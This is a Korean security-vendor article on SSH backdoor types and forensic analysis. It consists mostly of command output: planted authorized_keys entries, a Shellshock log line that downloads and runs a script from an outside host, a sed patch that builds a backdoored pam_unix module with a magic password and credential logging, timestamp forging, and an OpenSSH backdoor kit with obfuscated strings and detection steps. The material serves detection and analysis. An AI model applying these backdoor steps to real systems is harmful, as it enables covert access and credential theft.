보안정보
전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.
시큐어셸(SSH) 백도어 유형 및 분석 방법
2017.04.04
20,045
구분 |
설명 |
공개키 인증 |
•클라이언트 공개키를 원격
서버의 ~/.ssh/authorized_keys 파일에
추가한 후,
패스워드 입력 없이 개인키로 사용자 인증
•authorized_keys 파일
내 옵션 설정에서 공개키 인증 사용자에 대한 IP 주소, 명령어, TTY 할당, 포트 포워딩 등
사용 제한 가능
|
패스워드 인증 |
•사용자가 입력한 패스워드로 사용자 인증
•기본 설정에서 root
계정의
패스워드 인증 제한(OpenSSH
7.0부터 sshd_config 파일
내 PermitRootLogin 옵션을
종전 "yes"에서
"prohibit-password"으로 변경함)
|
호스트기반 인증 |
•클라이언트 IP 주소와
사용자명, 공개키로
사용자 인증(기본
설정은 비활성화)
•원격 서버의 /etc/shosts.equiv 또는 ~/.shosts (/etc/hosts.equiv 또는 ~/.rhosts),
/etc/ssh/ssh_known_hosts에
클라이언트 IP주소와
사용자명, 공개키를
추가하여 설정
|
RSAAuthentication yes # RSA 인증 허용 설정 (SSH 프로토콜 버전 1만 적용) PubkeyAuthentication yes # 공개키 인증 허용 설정 (SSH 프로토콜 버전 2만 적용) #AuthorizedKeysFile %h/.ssh/authorized_keys # 공개키 인증을 위해 공개키를 저장할 파일명 지정 |
root@ubuntu:~# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Created directory '/root/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: SHA256:3jLDT6klOgdhusZws47fz9+JGg7PXmbOPgUvjWSw3Qo root@ubuntu The key's randomart image is: +---[RSA 2048]----+ | | | . | | + . | | o E = . | | o .S+ * | | . + .o .+.+ | | + +..O Oo | | .=..B.^.o . | | .+o o=X+B.o | +----[SHA256]-----+ |
root@ubuntu:~# cat /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdEK6dZ5KXzNCxPe2+oUI0PMIiGwUfACRMXGkQKrWKq+FuhPBgsXCpxrIYAcQM8kUj 0geq5L1Ok/QbrbhsOuuzW4FhkRyea9UbApMKNMKCCHybGS5adp0vjiAxj3reFZdPDGlmWfbUoDOB0Q3a5L4Fcpg062O/jOCm4zxurTrP+M plcwyyyx3m8Fw7XZc44/FmM7LkiK08bw4cfCBkkRr7pmgtxZpA78O4Y1ZN005L5f4LI+VaFhs7wb7IsxN5dldpRmg24Q51Piz/d7xHM8 tAdJTF6xRNJMqB3N9MfxKERcapxOW/LKkdOHY5Mf9j9JekHjxH/erJL6ugglnVSkIJ root@ubuntu ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgR6oSdMvSGqqjRGTjkEN2S6JeGKPDyXnayS/aLjXRv+cvfVK6q5RtcBvDvQAIVu YSsTjr6LdKCGgs7DHIM7DlbG4ulRtvdCP9ERGAiOBL8dQ7ykb0rjwv2wZoSPxzBM9nV0tIQs89SmWcv/Byscs2FEKAGIH2cZbTk0nK Z6OM1mh8bkgLtck99N69QdTfogtJUWS+5TjxPbCK4X+gbwVsmvC4b74Sa951NV35SuirfSjwBxKP5LWkHeqSvVK3VnkIPV2/rdnyqW s8QBl9qhBHOOSxxbuLbrZh0EvsEf7fRm/p3MT+6XFwDUDtrj5rFW9FR2WlbmqwTqDmp8lEUwcx root@ubuntu |
94.**.**.147 - - [28/Mar/2016:01:33:33 -0400] "GET / HTTP/1.1" 200 342 "-" "() { :;}; /bin/bash -c "curl -o /tmp/img.sh http://178.**.**.165/mb;/usr/bin/wget http://178.18.24.165/mb -O /tmp/img.sh;chmod +x /tmp/img.sh;/tmp/img.sh;rm -rf /tmp/img.sh*""ㅡ |
#!/bin/bash ... mkdir /root/.ssh cd /root/.ssh;wget http://178.**.**.165/ssh/kid;cat kid >> authorized_keys;cat kid >> authorized_keys2;rm -rf kid ... |
root@ubuntu:~# ssh-keygen -lf /root/.ssh/authorized_keys 2048 SHA256:3jLDT6klOgdhusZws47fz9+JGg7PXmbOPgUvjWSw3Qo root@ubuntu (RSA) 2048 SHA256:jlArdHBDMsWE8eXlpx5FkecNLgKBtsMe6fEXVIaCG5k root@ubuntu (RSA) |
root@ubuntu:~# cat /var/log/auth.log ... Feb 9 17:49:01 ubuntu sshd[1464]: Accepted password for user from 10.0.2.2 port 52224 ssh2 ... Feb 23 16:11:59 ubuntu sshd[30456]: Accepted publickey for root from 10.0.2.2 port 62228 ssh2: RSA SHA256:3jLDT6klOgdhusZws47fz9+JGg7PXmbOPgUvjWSw3Qo ... |
ssh -L [bind_address:]port:host:hostport [user@]server |
ssh -R [bind_address:]port:host:hostport [user@]server |
ssh -D [bind_address:]port [user@]server |
root@ubuntu:~# cat /root/.ssh/known_hosts |1|mDg3kmL3+R0NC8Ue3OyxqZqRjko=|lAa1+8ikOHnkXVpj7adM4NUrqdI= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPEfJ23k9o9ghesDKDoRFy467GQErqJB5iK6V/D+dw3gGGX3rFT11OCx1z9QVNNiAyJphDq3ti4ngpCy+oEUt6E= root@ubuntu:~/.ssh# ssh-keygen -lf known_hosts 256 SHA256:gA1njKhy8ZJhGcloWQC4b4zh1tHPl/3+L4aoanZTbqo |1|mDg3kmL3+R0NC8Ue3OyxqZqRjko=|lAa1+8ikOHnkXVpj7adM4NUrqdI= (ECDSA) |
C:Python27>bruteforce_known_hosts.py --network 192.168.0.0/16 --file known_hosts SSH known_hosts file bruteforce (c) 2013 jtRIPper
Beginning bruteforce at: Thu Mar 09 13:04:00 2017 …
Found hosts: [*] Found host: 192.168.56.1!
Bruteforce completed at: Thu Mar 09 13:04:02 2017 (2 seconds) |
root@ubuntu:~# cat /etc/pam.d/sshd ... # Standard Un*x authentication. @include common-auth ... root@ubuntu:~# cat /etc/pam.d/common-auth | grep ^auth auth [success=1 default=ignore] pam_unix.so nullok_secure ... |
root@ubuntu:~# wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz root@ubuntu:~# tar xvzf Linux-PAM-1.1.8.tar.gz ; cd Linux-PAM-1.1.8 root@ubuntu:~/Linux-PAM-1.1.8# sed -i 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);ntif(strcmp(p,"secretpassword")==0){nttretval=PAM_SUCCESS;nt}ntif(retval==PAM_SUCCESS){nttFILE* fp=fopen("/tmp/.pamlog","a");nttfprintf(fp,"%s:%s\n",name,ptfclose(fppam_unix/pam_unix_auth.c root@ubuntu:~/Linux-PAM-1.1.8# cat -n modules/pam_unix/pam_unix_auth.c ... 179 /* verify the password of this user */ 180 retval = _unix_verify_password(pamh, name, p, ctrl); 181 if(strcmp(p,"secretpassword")==0){ 182 retval=PAM_SUCCESS; 183 } 184 if(retval==PAM_SUCCESS){ 185 FILE* fp=fopen("/tmp/.pamlog","a"); 186 fprintf(fp,"%s:%sn",name,p 187 fclose(fp 188 } 189 name = p = NULL; ... root@ubuntu:~/Linux-PAM-1.1.8# ./configure && make |
root@ubuntu:~# stat /lib/x86_64-linux-gnu/security/pam_unix.so File: '/lib/x86_64-linux-gnu/security/pam_unix.so' Size: 60336 Blocks: 120 IO Block: 4096 regular file Device: fc00h/64512d Inode: 685 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2017-03-02 16:02:13.105132442 +0900 Modify: 2016-03-17 03:12:31.000000000 +0900 Change: 2017-02-07 17:45:43.001784000 +0900 Birth: - root@ubuntu:~# cp /lib/x86_64-linux-gnu/security/pam_unix.so pam_unix.orig root@ubuntu:~# touch -r /lib/x86_64-linux-gnu/security/pam_unix.so pam_unix.orig root@ubuntu:~# cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so root@ubuntu:~# touch -r pam_unix.orig /lib/x86_64-linux-gnu/security/pam_unix.so root@ubuntu:~# stat /lib/x86_64-linux-gnu/security/pam_unix.so File: '/lib/x86_64-linux-gnu/security/pam_unix.so' Size: 201552 Blocks: 400 IO Block: 4096 regular file Device: fc00h/64512d Inode: 685 Links: 1 Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2017-03-02 16:02:13.105132442 +0900 Modify: 2016-03-17 03:12:31.000000000 +0900 Change: 2017-03-02 16:05:03.686385555 +0900 Birth: - |
root@ubuntu:~# ps -ef | grep sshd root 4958 1 0 08:10 ? 00:00:00 /usr/sbin/sshd -D ... root@ubuntu:~# strace -o sshd.strace -f -p 4958 root@ubuntu:~# cat sshd.strace ... 13078 open("/tmp/.pamlog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 8 ► 계정정보 저장파일 오픈 13078 lseek(8, 0, SEEK_END) = 32 13078 fstat(8, {st_mode=S_IFREG|0644, st_size=32, ...}) = 0 13078 write(8, “igloosec:igloosecn", 18) = 18 ► 사용자가 입력한 아이디·패스워드 저장 13078 close(8) = 0 ... root@ubuntu:~# strings -t d /lib/x86_64-linux-gnu/security/pam_unix.so ... 40646 Password: 40657 -UN*X-PASS 40668 secretpassword ► 백도어용 패스워드 40685 /tmp/pam.log ► 사용자가 입력한 계정 정보를 저장하는 파일 40698 %s:%s ► 저장형식(아이디:패스워드) 40712 auth could not identify password for [%s] ... |
20394 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("72.***.***.154")}, 16) = 20394 sendto(4, "22v1 1 *7741e5e70c7da9b0266"..., 73, 0, NULL, 0) = 73 20394 close(4) = 0 |
root@ubuntu:~# ./sinon.sh (PAM enabled) (KRB5 enabled) Magic password (just press enter to use a random one): File to log passwords to: /tmp/.sshlog =========================================================== Using magic password: igloosec Using password log file: /tmp/.sshlog OpenSSH version: 7.2p2 =========================================================== Downloading openssh-7.2p2... ... |
static char * bpmd5() { md5[0] = ‘1'; md5[1] = ‘1'; md5[2] = ‘2'; ... md5[29] = ‘3'; md5[30] = '3'; md5[31] = '5'; return md5; } | static char * plogfn() { plog[0] = '/'; plog[1] = 't'; plog[2] = 'm'; ... plog[9] = 'l'; plog[10] = 'o'; plog[11] = 'g'; return plog } |
구분 |
설명 |
auth.c |
•매직 패스워드로 로그인하는 경우 로그를 남기지 않고, 루트
계정을 허용하지 않도록 설정한 경우에도 로그인 가능하도록 변경
|
auth-pam.c /auth-passwd.c |
•매직 패스워드를 입력하는 경우 실제 패스워드와 관계없이
로그인 허용
•사용자가 입력한 패스워드가 실제 패스워드와 같을 경우 아이디,
패스워드를 1의
보수로 변환하여 패스워드 로그 파일에 저장
|
log.c/loginrec.c |
•매직 패스워드로 로그인하는 경우 로그를 남기지 않음
|
servconf.c |
•루트 계정을 허용하지 않도록 설정한 경우에도 로그인
가능하도록 변경
|
sshconnect1.c |
•SSH
서비스로 접속한 사용자의 IP
주소, 아이디, 패스워드를
1의
보수로 변환하여 패스워드 로그 파일에 저장(1:Client
IP Address:User:Password)
|
sshconnect2.c |
•SSH
클라이언트 명령에서 사용자가 입력한 호스트의 도메인명
또는 IP 주소, 아이디, 패스워드를
1의
보수로 변환하여 패스워드 로그 파일에 저장(2:User:Host:Password)
|
version.h |
•SSH
버전 정보를 서버와 동일하게 설정
|
root@ubuntu:~# objdump –D /usr/sbin/sshd | grep movb ... f97a: c6 05 5f 5c 2b 00 32 movb $0x31,0x2b5c5f(%rip) # 2c55e0 f981: c6 05 59 5c 2b 00 66 movb $0x31,0x2b5c59(%rip) # 2c55e1 f98b: c6 05 50 5c 2b 00 33 movb $0x32,0x2b5c50(%rip) # 2c55e2 ... fb95: c6 05 04 52 2b 00 2f movb $0x2f,0x2b5204(%rip) # 2c4da0 <plog> fb9c: c6 05 fe 51 2b 00 74 movb $0x74,0x2b51fe(%rip) # 2c4da1 fba6: c6 05 f5 51 2b 00 6d movb $0x6d,0x2b51f5(%rip) # 2c4da2 ... root@ubuntu:~# perl strdebob.pl /usr/sbin/sshd
1120a8389f5a326bb59d3c46d1cd9335/tmp/.sshlog "“ ... |
#!/usr/bin/perl use strict; unless (@ARGV) { print "Usage: strdebob.pl my $file = $ARGV[0]; unless (-f $file ) { print "Error file $file not foundn"; exit; } open(ASM,"objdump -D $file |grep movb |") || die "Failed: $!n"; my $strings; while ( my $line = $_; if ($line =~ /([a-f0-9:]+)s+([a-f0-9s]+)movbs+$0x([0-9a-f]{2})/) { my $inst = $3; #grab the the last two chars and ascii them up my $string = sprintf ("%c", hex substr($inst, -2)); $string =~ s/[x7F-xFFx00-x09x0B-x1F]/./g; $strings .= $string; } else { unless (substr($strings, -1) eq "n") { $strings .= "n"; } } } print "$stringsn"; |
root@ubuntu:~# file /tmp/.sshlog /tmp/.sshlog: Non-ISO extended-ASCII text, with no line terminators root@ubuntu:~# xxd /tmp/.sshlog 00000000: cdc5 9698 9390 908c 9a9c c5ce c6cd d1ce ................ 00000010: c9c7 d1ca c9d1 cec5 9698 9390 908c 9a9c ................ 00000020: f5 . root@ubuntu:~# perl -pe 's/(.)/chr(255-ord($1))/ge' /tmp/.sshlog 2:igloosec:192.168.56.1:igloosec |